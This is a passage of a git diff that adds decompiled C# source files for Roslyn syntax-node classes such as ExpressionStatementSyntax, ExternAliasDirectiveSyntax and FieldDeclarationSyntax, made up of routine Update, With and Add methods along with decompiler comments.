//IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, eventKeyword, Declaration, SemicolonToken); + } + + internal override BaseFieldDeclarationSyntax WithDeclarationCore(VariableDeclarationSyntax declaration) + { + return WithDeclaration(declaration); + } + + public new EventFieldDeclarationSyntax WithDeclaration(VariableDeclarationSyntax declaration) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, EventKeyword, declaration, SemicolonToken); + } + + internal override BaseFieldDeclarationSyntax WithSemicolonTokenCore(SyntaxToken semicolonToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithSemicolonToken(semicolonToken); + } + + public new EventFieldDeclarationSyntax WithSemicolonToken(SyntaxToken semicolonToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, EventKeyword, Declaration, semicolonToken); + } + + internal override MemberDeclarationSyntax AddAttributeListsCore(params AttributeListSyntax[] items) + { + return AddAttributeLists(items); + } + + public new EventFieldDeclarationSyntax AddAttributeLists(params AttributeListSyntax[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return WithAttributeLists(AttributeLists.AddRange((IEnumerable)items)); + } + + internal override MemberDeclarationSyntax AddModifiersCore(params SyntaxToken[] items) + { + return AddModifiers(items); + } + + public new EventFieldDeclarationSyntax AddModifiers(params SyntaxToken[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + SyntaxTokenList modifiers = Modifiers; + return WithModifiers(((SyntaxTokenList)(ref modifiers)).AddRange((IEnumerable)items)); + } + + internal override BaseFieldDeclarationSyntax AddDeclarationVariablesCore(params VariableDeclaratorSyntax[] items) + { + return AddDeclarationVariables(items); + } + + public new EventFieldDeclarationSyntax AddDeclarationVariables(params VariableDeclaratorSyntax[] items) + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + return WithDeclaration(Declaration.WithVariables(Declaration.Variables.AddRange((IEnumerable)items))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ExplicitInterfaceSpecifierSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ExplicitInterfaceSpecifierSyntax.cs new file mode 100644 index 0000000..9898693 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ExplicitInterfaceSpecifierSyntax.cs @@ -0,0 +1,75 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class ExplicitInterfaceSpecifierSyntax : CSharpSyntaxNode +{ + private NameSyntax? name; + + public NameSyntax Name => ((SyntaxNode)this).GetRedAtZero(ref name); + + public SyntaxToken DotToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ExplicitInterfaceSpecifierSyntax)(object)((SyntaxNode)this).Green).dotToken, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + + internal ExplicitInterfaceSpecifierSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base((GreenNode)(object)green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + if (index != 0) + { + return null; + } + return (SyntaxNode?)(object)((SyntaxNode)this).GetRedAtZero(ref name); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + if (index != 0) + { + return null; + } + return (SyntaxNode?)(object)name; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitExplicitInterfaceSpecifier(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitExplicitInterfaceSpecifier(this); + } + + public ExplicitInterfaceSpecifierSyntax Update(NameSyntax name, SyntaxToken dotToken) + { + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + if (name != Name || dotToken != DotToken) + { + ExplicitInterfaceSpecifierSyntax explicitInterfaceSpecifierSyntax = SyntaxFactory.ExplicitInterfaceSpecifier(name, dotToken); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return explicitInterfaceSpecifierSyntax; + } + return explicitInterfaceSpecifierSyntax.WithAnnotations(annotations); + } + return this; + } + + public ExplicitInterfaceSpecifierSyntax WithName(NameSyntax name) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + return Update(name, DotToken); + } + + public ExplicitInterfaceSpecifierSyntax WithDotToken(SyntaxToken dotToken) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + return Update(Name, dotToken); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ExpressionColonSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ExpressionColonSyntax.cs new file mode 100644 index 0000000..10906e8 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ExpressionColonSyntax.cs @@ -0,0 +1,86 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class ExpressionColonSyntax : BaseExpressionColonSyntax +{ + private ExpressionSyntax? expression; + + public override ExpressionSyntax Expression => ((SyntaxNode)this).GetRedAtZero(ref expression); + + public override SyntaxToken ColonToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ExpressionColonSyntax)(object)((SyntaxNode)this).Green).colonToken, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + + internal ExpressionColonSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + if (index != 0) + { + return null; + } + return (SyntaxNode?)(object)((SyntaxNode)this).GetRedAtZero(ref expression); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + if (index != 0) + { + return null; + } + return (SyntaxNode?)(object)expression; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitExpressionColon(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitExpressionColon(this); + } + + public ExpressionColonSyntax Update(ExpressionSyntax expression, SyntaxToken colonToken) + { + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + if (expression != Expression || colonToken != ColonToken) + { + ExpressionColonSyntax expressionColonSyntax = SyntaxFactory.ExpressionColon(expression, colonToken); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return expressionColonSyntax; + } + return expressionColonSyntax.WithAnnotations(annotations); + } + return this; + } + + internal override BaseExpressionColonSyntax WithExpressionCore(ExpressionSyntax expression) + { + return WithExpression(expression); + } + + public new ExpressionColonSyntax WithExpression(ExpressionSyntax expression) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + return Update(expression, ColonToken); + } + + internal override BaseExpressionColonSyntax WithColonTokenCore(SyntaxToken colonToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithColonToken(colonToken); + } + + public new ExpressionColonSyntax WithColonToken(SyntaxToken colonToken) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + return Update(Expression, colonToken); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ExpressionElementSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ExpressionElementSyntax.cs new file mode 100644 index 0000000..4d6c0d8 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ExpressionElementSyntax.cs @@ -0,0 +1,63 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class ExpressionElementSyntax : CollectionElementSyntax +{ + private ExpressionSyntax? expression; + + public ExpressionSyntax Expression => ((SyntaxNode)this).GetRedAtZero(ref expression); + + internal ExpressionElementSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + if (index != 0) + { + return null; + } + return (SyntaxNode?)(object)((SyntaxNode)this).GetRedAtZero(ref expression); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + if (index != 0) + { + return null; + } + return (SyntaxNode?)(object)expression; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitExpressionElement(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitExpressionElement(this); + } + + public ExpressionElementSyntax Update(ExpressionSyntax expression) + { + if (expression != Expression) + { + ExpressionElementSyntax expressionElementSyntax = SyntaxFactory.ExpressionElement(expression); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return expressionElementSyntax; + } + return expressionElementSyntax.WithAnnotations(annotations); + } + return this; + } + + public ExpressionElementSyntax WithExpression(ExpressionSyntax expression) + { + return Update(expression); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ExpressionOrPatternSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ExpressionOrPatternSyntax.cs new file mode 100644 index 0000000..1daf0bd --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ExpressionOrPatternSyntax.cs @@ -0,0 +1,11 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public abstract class ExpressionOrPatternSyntax : CSharpSyntaxNode +{ + internal ExpressionOrPatternSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base((GreenNode)(object)green, parent, position) + { + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ExpressionStatementSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ExpressionStatementSyntax.cs new file mode 100644 index 0000000..0cdc768 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ExpressionStatementSyntax.cs @@ -0,0 +1,135 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class ExpressionStatementSyntax : StatementSyntax +{ + private SyntaxNode? attributeLists; + + private ExpressionSyntax? expression; + + public bool AllowsAnyExpression + { + get + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken semicolonToken = SemicolonToken; + if (((SyntaxToken)(ref semicolonToken)).IsMissing) + { + return !((SyntaxToken)(ref semicolonToken)).ContainsDiagnostics; + } + return false; + } + } + + public override SyntaxList AttributeLists => new SyntaxList(((SyntaxNode)this).GetRed(ref attributeLists, 0)); + + public ExpressionSyntax Expression => ((SyntaxNode)this).GetRed(ref expression, 1); + + public SyntaxToken SemicolonToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ExpressionStatementSyntax)(object)((SyntaxNode)this).Green).semicolonToken, ((SyntaxNode)this).GetChildPosition(2), ((SyntaxNode)this).GetChildIndex(2)); + + public ExpressionStatementSyntax Update(ExpressionSyntax expression, SyntaxToken semicolonToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, expression, semicolonToken); + } + + internal ExpressionStatementSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => ((SyntaxNode)this).GetRedAtZero(ref attributeLists), + 1 => ((SyntaxNode)this).GetRed(ref expression, 1), + _ => null, + }); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => attributeLists, + 1 => expression, + _ => null, + }); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitExpressionStatement(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitExpressionStatement(this); + } + + public ExpressionStatementSyntax Update(SyntaxList attributeLists, ExpressionSyntax expression, SyntaxToken semicolonToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + if (attributeLists != AttributeLists || expression != Expression || semicolonToken != SemicolonToken) + { + ExpressionStatementSyntax expressionStatementSyntax = SyntaxFactory.ExpressionStatement(attributeLists, expression, semicolonToken); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return expressionStatementSyntax; + } + return expressionStatementSyntax.WithAnnotations(annotations); + } + return this; + } + + internal override StatementSyntax WithAttributeListsCore(SyntaxList attributeLists) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithAttributeLists(attributeLists); + } + + public new ExpressionStatementSyntax WithAttributeLists(SyntaxList attributeLists) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return Update(attributeLists, Expression, SemicolonToken); + } + + public ExpressionStatementSyntax WithExpression(ExpressionSyntax expression) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, expression, SemicolonToken); + } + + public ExpressionStatementSyntax WithSemicolonToken(SyntaxToken semicolonToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Expression, semicolonToken); + } + + internal override StatementSyntax AddAttributeListsCore(params AttributeListSyntax[] items) + { + return AddAttributeLists(items); + } + + public new ExpressionStatementSyntax AddAttributeLists(params AttributeListSyntax[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return WithAttributeLists(AttributeLists.AddRange((IEnumerable)items)); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ExpressionSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ExpressionSyntax.cs new file mode 100644 index 0000000..b7c448c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ExpressionSyntax.cs @@ -0,0 +1,11 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public abstract class ExpressionSyntax : ExpressionOrPatternSyntax +{ + internal ExpressionSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ExternAliasDirectiveSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ExternAliasDirectiveSyntax.cs new file mode 100644 index 0000000..e233242 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ExternAliasDirectiveSyntax.cs @@ -0,0 +1,102 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class ExternAliasDirectiveSyntax : CSharpSyntaxNode +{ + public SyntaxToken ExternKeyword => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ExternAliasDirectiveSyntax)(object)((SyntaxNode)this).Green).externKeyword, ((SyntaxNode)this).Position, 0); + + public SyntaxToken AliasKeyword => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ExternAliasDirectiveSyntax)(object)((SyntaxNode)this).Green).aliasKeyword, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + + public SyntaxToken Identifier => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ExternAliasDirectiveSyntax)(object)((SyntaxNode)this).Green).identifier, ((SyntaxNode)this).GetChildPosition(2), ((SyntaxNode)this).GetChildIndex(2)); + + public SyntaxToken SemicolonToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ExternAliasDirectiveSyntax)(object)((SyntaxNode)this).Green).semicolonToken, ((SyntaxNode)this).GetChildPosition(3), ((SyntaxNode)this).GetChildIndex(3)); + + internal ExternAliasDirectiveSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base((GreenNode)(object)green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return null; + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return null; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitExternAliasDirective(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitExternAliasDirective(this); + } + + public ExternAliasDirectiveSyntax Update(SyntaxToken externKeyword, SyntaxToken aliasKeyword, SyntaxToken identifier, SyntaxToken semicolonToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_003a: Unknown result type (might be due to invalid IL or missing references) + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + //IL_003c: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + if (externKeyword != ExternKeyword || aliasKeyword != AliasKeyword || identifier != Identifier || semicolonToken != SemicolonToken) + { + ExternAliasDirectiveSyntax externAliasDirectiveSyntax = SyntaxFactory.ExternAliasDirective(externKeyword, aliasKeyword, identifier, semicolonToken); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return externAliasDirectiveSyntax; + } + return externAliasDirectiveSyntax.WithAnnotations(annotations); + } + return this; + } + + public ExternAliasDirectiveSyntax WithExternKeyword(SyntaxToken externKeyword) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + return Update(externKeyword, AliasKeyword, Identifier, SemicolonToken); + } + + public ExternAliasDirectiveSyntax WithAliasKeyword(SyntaxToken aliasKeyword) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + return Update(ExternKeyword, aliasKeyword, Identifier, SemicolonToken); + } + + public ExternAliasDirectiveSyntax WithIdentifier(SyntaxToken identifier) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + return Update(ExternKeyword, AliasKeyword, identifier, SemicolonToken); + } + + public ExternAliasDirectiveSyntax WithSemicolonToken(SyntaxToken semicolonToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + return Update(ExternKeyword, AliasKeyword, Identifier, semicolonToken); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/FieldDeclarationSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/FieldDeclarationSyntax.cs new file mode 100644 index 0000000..09ab548 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/FieldDeclarationSyntax.cs @@ -0,0 +1,187 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class FieldDeclarationSyntax : BaseFieldDeclarationSyntax +{ + private SyntaxNode? attributeLists; + + private VariableDeclarationSyntax? declaration; + + public override SyntaxList AttributeLists => new SyntaxList(((SyntaxNode)this).GetRed(ref attributeLists, 0)); + + public override SyntaxTokenList Modifiers + { + get + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + GreenNode slot = ((SyntaxNode)this).Green.GetSlot(1); + if (slot == null) + { + return default(SyntaxTokenList); + } + return new SyntaxTokenList((SyntaxNode)(object)this, slot, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + } + } + + public override VariableDeclarationSyntax Declaration => ((SyntaxNode)this).GetRed(ref declaration, 2); + + public override SyntaxToken SemicolonToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.FieldDeclarationSyntax)(object)((SyntaxNode)this).Green).semicolonToken, ((SyntaxNode)this).GetChildPosition(3), ((SyntaxNode)this).GetChildIndex(3)); + + internal FieldDeclarationSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => ((SyntaxNode)this).GetRedAtZero(ref attributeLists), + 2 => ((SyntaxNode)this).GetRed(ref declaration, 2), + _ => null, + }); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => attributeLists, + 2 => declaration, + _ => null, + }); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitFieldDeclaration(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitFieldDeclaration(this); + } + + public FieldDeclarationSyntax Update(SyntaxList attributeLists, SyntaxTokenList modifiers, VariableDeclarationSyntax declaration, SyntaxToken semicolonToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_0035: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + if (attributeLists != AttributeLists || modifiers != Modifiers || declaration != Declaration || semicolonToken != SemicolonToken) + { + FieldDeclarationSyntax fieldDeclarationSyntax = SyntaxFactory.FieldDeclaration(attributeLists, modifiers, declaration, semicolonToken); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return fieldDeclarationSyntax; + } + return fieldDeclarationSyntax.WithAnnotations(annotations); + } + return this; + } + + internal override MemberDeclarationSyntax WithAttributeListsCore(SyntaxList attributeLists) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithAttributeLists(attributeLists); + } + + public new FieldDeclarationSyntax WithAttributeLists(SyntaxList attributeLists) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + return Update(attributeLists, Modifiers, Declaration, SemicolonToken); + } + + internal override MemberDeclarationSyntax WithModifiersCore(SyntaxTokenList modifiers) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithModifiers(modifiers); + } + + public new FieldDeclarationSyntax WithModifiers(SyntaxTokenList modifiers) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, modifiers, Declaration, SemicolonToken); + } + + internal override BaseFieldDeclarationSyntax WithDeclarationCore(VariableDeclarationSyntax declaration) + { + return WithDeclaration(declaration); + } + + public new FieldDeclarationSyntax WithDeclaration(VariableDeclarationSyntax declaration) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, declaration, SemicolonToken); + } + + internal override BaseFieldDeclarationSyntax WithSemicolonTokenCore(SyntaxToken semicolonToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithSemicolonToken(semicolonToken); + } + + public new FieldDeclarationSyntax WithSemicolonToken(SyntaxToken semicolonToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, Declaration, semicolonToken); + } + + internal override MemberDeclarationSyntax AddAttributeListsCore(params AttributeListSyntax[] items) + { + return AddAttributeLists(items); + } + + public new FieldDeclarationSyntax AddAttributeLists(params AttributeListSyntax[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return WithAttributeLists(AttributeLists.AddRange((IEnumerable)items)); + } + + internal override MemberDeclarationSyntax AddModifiersCore(params SyntaxToken[] items) + { + return AddModifiers(items); + } + + public new FieldDeclarationSyntax AddModifiers(params SyntaxToken[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + SyntaxTokenList modifiers = Modifiers; + return WithModifiers(((SyntaxTokenList)(ref modifiers)).AddRange((IEnumerable)items)); + } + + internal override BaseFieldDeclarationSyntax AddDeclarationVariablesCore(params VariableDeclaratorSyntax[] items) + { + return AddDeclarationVariables(items); + } + + public new FieldDeclarationSyntax AddDeclarationVariables(params VariableDeclaratorSyntax[] items) + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + return WithDeclaration(Declaration.WithVariables(Declaration.Variables.AddRange((IEnumerable)items))); + } 